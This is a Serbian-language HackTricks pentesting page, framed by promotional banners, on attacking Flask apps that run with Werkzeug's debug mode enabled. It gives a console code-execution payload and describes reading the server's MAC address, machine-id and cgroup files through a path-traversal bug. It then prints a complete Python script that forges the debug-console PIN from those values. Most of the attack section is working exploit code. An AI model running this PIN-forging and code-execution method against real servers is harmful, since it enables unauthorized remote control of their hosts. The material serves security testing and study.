# Werkzeug / Flask Debug
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
**Trenutno dostupna postavka za procenu ranjivosti i testiranje penetracije**. Pokrenite pun pentest sa bilo kog mesta sa preko 20 alata i funkcija koje idu od prikupljanja informacija do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje istraže, otvore školjke i zabave se.
{% embed url="https://pentest-tools.com/" %}
## Console RCE
Ako je debug aktivan, možete pokušati da pristupite `/console` i dobijete RCE.
```python
__import__('os').popen('whoami').read();
```
![](<../../.gitbook/assets/image (317).png>)
Takođe postoje nekoliko eksploatacija na internetu kao što je [ova](https://github.com/its-arun/Werkzeug-Debug-RCE) ili jedna u metasploitu.
## Zaštićeno pinom - Putanja pretrage
U nekim slučajevima, **`/console`** krajnja tačka će biti zaštićena pinom. Ako imate ranjivost putanje pretrage, možete otkriti sve potrebne informacije za generisanje tog pina.
### Exploit za Werkzeug konzolu sa PIN-om
Prisilite grešku u debug stranici aplikacije da biste videli ovo:
```
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server
```
Naiđe se na poruku u vezi "zaključane konzole" prilikom pokušaja pristupa Werkzeug-ovom debug interfejsu, što ukazuje na potrebu za PIN-om za otključavanje konzole. Predlaže se iskorišćavanje PIN-a konzole analiziranjem algoritma za generisanje PIN-a u Werkzeug-ovom debug inicijalnom fajlu (`__init__.py`). Mekanizam generisanja PIN-a može se proučiti iz [**Werkzeug izvornog koda**](https://github.com/pallets/werkzeug/blob/master/src/werkzeug/debug/\_\_init\_\_.py), mada se savetuje da se stvarni serverski kod nabavi putem ranjivosti pretrage fajlova zbog mogućih razlika u verzijama.
Da bi se iskoristio PIN konzole, potrebna su dva skupa promenljivih, `probably_public_bits` i `private_bits`:
#### **`probably_public_bits`**
- **`username`**: Odosi se na korisnika koji je pokrenuo Flask sesiju.
- **`modname`**: Obično je označen kao `flask.app`.
- **`getattr(app, '__name__', getattr(app.__class__, '__name__'))`**: Obično se rešava u **Flask**.
- **`getattr(mod, '__file__', None)`**: Predstavlja punu putanju do `app.py` unutar Flask direktorijuma (npr. `/usr/local/lib/python3.5/dist-packages/flask/app.py`). Ako `app.py` nije primenljiv, **pokušajte sa `app.pyc`**.
#### **`private_bits`**
- **`uuid.getnode()`**: Dohvata MAC adresu trenutne mašine, pri čemu `str(uuid.getnode())` prevodi u decimalni format.
- Da biste **odredili MAC adresu servera**, morate identifikovati aktivno mrežno sučelje koje koristi aplikacija (npr. `ens3`). U slučaju neizvesnosti, **procurejte `/proc/net/arp`** da biste pronašli ID uređaja, a zatim **izdvojite MAC adresu** iz **`/sys/class/net//address`**.
- Konverzija heksadecimalne MAC adrese u decimalni format može se izvršiti na sledeći način:
```python
# Primer MAC adrese: 56:00:02:7a:23:ac
>>> print(0x5600027a23ac)
94558041547692
```
- **`get_machine_id()`**: Spaja podatke iz `/etc/machine-id` ili `/proc/sys/kernel/random/boot_id` sa prvom linijom `/proc/self/cgroup` nakon poslednje kosine (`/`).
Kod za `get_machine_id()`
```python
def get_machine_id() -> t.Optional[t.Union[str, bytes]]:
global _machine_id
if _machine_id is not None:
return _machine_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
```
Nakon prikupljanja svih potrebnih podataka, može se izvršiti skripta za iskorišćavanje kako bi se generisao PIN za Werkzeug konzolu. Skripta koristi sakupljene `probably_public_bits` i `private_bits` za kreiranje heša, koji se zatim dalje obrađuje kako bi se dobio konačni PIN. U nastavku je Python kod za izvršavanje ovog procesa:
```python
import hashlib
from itertools import chain
probably_public_bits = [
'web3_user', # username
'flask.app', # modname
'Flask', # getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'279275995014060', # str(uuid.getnode()), /sys/class/net/ens33/address
'd4e6cb65d59544f3331ea0425dc555a1' # get_machine_id(), /etc/machine-id
]
# h = hashlib.md5() # Changed in https://werkzeug.palletsprojects.com/en/2.2.x/changes/#version-2-0-0
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
# h.update(b'shittysalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
```
Ovaj skript generiše PIN tako što hešira konkatenirane bitove, dodaje određene soli (`cookiesalt` i `pinsalt`) i formatira izlaz. Važno je napomenuti da stvarne vrednosti za `probably_public_bits` i `private_bits` treba tačno dobiti sa ciljnog sistema kako bi se osiguralo da generisani PIN odgovara očekivanom od strane Werkzeug konzole.
{% hint style="success" %}
Ako koristite **stariju verziju** Werkzeug-a, pokušajte promeniti **algoritam heširanja u md5** umesto sha1.
{% endhint %}
## Reference
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
**Trenutno dostupna postavka za procenu ranjivosti i testiranje penetracije**. Pokrenite pun pentest sa bilo kog mesta sa više od 20 alata i funkcija koje idu od prikupljanja informacija do izveštavanja. Ne zamenjujemo pentestere - razvijamo prilagođene alate, module za otkrivanje i eksploataciju kako bismo im vratili neko vreme da dublje kopaju, otvaraju ljuske i zabavljaju se.
{% embed url="https://pentest-tools.com/" %}
Naučite hakovanje AWS-a od nule do heroja sahtARTE (HackTricks AWS Red Team Expert)!
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu u HackTricks-u** ili **preuzmete HackTricks u PDF formatu**, proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitter-u** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.